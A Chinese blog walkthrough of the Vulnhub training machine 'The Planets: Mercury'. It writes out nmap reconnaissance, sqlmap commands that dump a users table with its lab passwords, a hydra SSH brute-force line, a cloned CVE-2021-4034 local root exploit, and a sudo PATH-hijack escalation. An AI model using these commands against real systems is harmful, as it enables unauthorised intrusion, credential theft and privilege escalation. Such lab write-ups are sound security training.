看完这篇教你玩转渗透测试靶机Vulnhub—

看完这篇教你玩转渗透测试靶机Vulnhub——The Planets:Mercury

news2024/11/15 3:32:00

Vulnhub靶机The Planets:Mercury渗透测试详解

- Vulnhub靶机介绍：
- Vulnhub靶机下载：
- Vulnhub靶机安装：
- Vulnhub靶机漏洞详解：
- - - ①：信息收集：
    - ②：漏洞发现：
    - ③：SSH登入：
    - ④：CVE-2021-4034漏洞提权：
    - ⑤：获取FALG：
    - ⑥：Sudo+SETENV(环境变量)提权(第二种提权方法)：
- Vulnhub靶机渗透总结：

Vulnhub靶机介绍：

vulnhub是个提供各种漏洞平台的综合靶场，可供下载多种虚拟机进行下载，本地VM打开即可，像做游戏一样去完成渗透测试、提权、漏洞利用、代码审计等等有趣的实战。

这是一个漏洞靶机，老样子需要找到flag即可。

Vulnhub靶机下载：

官方下载：https://download.vulnhub.com/theplanets/Mercury.ova

Vulnhub靶机安装：

下载好了把安装包解压然后使用Oracle VM打开即可。

在这里插入图片描述

Vulnhub靶机漏洞详解：

①：信息收集：

kali里使用arp-scan -l或者netdiscover发现主机
在这里插入图片描述

渗透机：kali IP ：192.168.0.105 靶机IP ：192.168.0.103

使用命令：nmap -sS -sV -A -n -p- 192.168.0.103

在这里插入图片描述
开启了22和8080端口老样子先访问，说还在开发中直接扫后台dirsearch 扫到了一个robots.txt进行访问，得到三个路径分别访问!

在这里插入图片描述

②：漏洞发现：

在这里插入图片描述
这里点进去我们可以发现存在1 可能存在SQL注入漏洞直接使用sqlmap测一下发现可以

 sqlmap -u "http://192.168.0.103:8080/mercuryfacts/2" --dbs --batch  #发现数据库

在这里插入图片描述

sqlmap -u "http://192.168.0.103:8080/mercuryfacts/2" -D mercury --tables --batch #爆破数据表

在这里插入图片描述

sqlmap -u "http://192.168.0.103:8080/mercuryfacts/2" -D mercury -T users --dump --batch  #获取字段内容

在这里插入图片描述
这里得到了几组账号和密码分别进行尝试最后一个就是SSH账号密码尝试登入，登入成功！！！

johnny1987  john
lovemykids111  laura
lovemybeer111  sam
mercuryisthesizeof0.056Earths  webmaster
hydra -l webmaster -P user.txt ssh://192.168.0.103    #可以尝试九头蛇进行爆破

在这里插入图片描述

③：SSH登入：

在这里插入图片描述
SSH私钥验证登入，获取第一个FLAG接下来就是提取了。

在这里插入图片描述

在~下面发现了一个notes.txt文件查看有一串Base64编码解码得：mercurymeandiameteris4880km

在这里插入图片描述

切换linuxmaster用户使用命令：find / -perm -4000 -type f 2>/dev/null

sudo -l 发现有可以执行得sudo命令

④：CVE-2021-4034漏洞提权：

git clone https://github.com/berdav/CVE-2021-4034 #如果下载不了就本机下，然后拖带kaili里面
mack #会生成一个/cve-2021-4034
./cve-2021-4034 #运行即是root权限

这里可麻烦了我搞了半天先是本机git访问不到github 然后下载kali拖进去
因为靶机里面是没有unzip得所以要将所有文件打包tar才行然后开启apache2服务使用wget进行下载
为了更好得查看先建个目录不然解压出来很乱然后执行make 进行编译在运行/cve-2021-4034即可。

在这里插入图片描述

PS:因为这个漏洞很吊我本地kali运行也可以提权当时搞错了本机找了半天flag文件没找到（原谅我得无知尴尬，哈哈哈）

⑤：获取FALG：

在这里插入图片描述

⑥：Sudo+SETENV(环境变量)提权(第二种提权方法)：

没办法追求完美所有要做一下第二种方法！

sudo -l 查看一下可以执行root权限得sudo命令

在这里插入图片描述
原理：sudo运行时默认会启用env_reset选项将从命令行设置的环境变量复原，因此通常情况下，当使用sudo命令时，通过本地修改环境变量也没法替换目标文件来进行提权，但如果sudo在配置时为用户设置了SETENV选项情况就不一样了SETENV 会允许用户禁用env_reset选项，允许sudo使用当前用户命令行中设置的环境变量

echo "/bin/bash" > tail   #从/bin目录复制一个vim，并命名为tail存在/tmp目录下
chmod 777 tail #给个权限
export PATH=.:$PATH  #将/tmp目录放置在PATH环境变量的最前面
sudo --preserve-env=PATH /usr/bin/check_syslog.sh   #伪造的tail命令，从而用vim进行提权

在这里插入图片描述

至此至此获取到了flag，本篇文章渗透结束感谢大家的观看！！

Vulnhub靶机渗透总结：

这个靶机难度中等吧

1.信息收集arp-scan -l 获取ip地址和端口信息 web扫描工具：nikto，dirb，dirbuster，whatweb，ffuf等查看F12源码信息
2.sqlmap基本使用这里就不讲了DC3有写或者别的文章也有讲，ssh-keygen得登入！
3.CVE-2021-4034漏洞得利用（漏洞很强大！）
4.Sudo+SETENV(环境变量)提权得学习！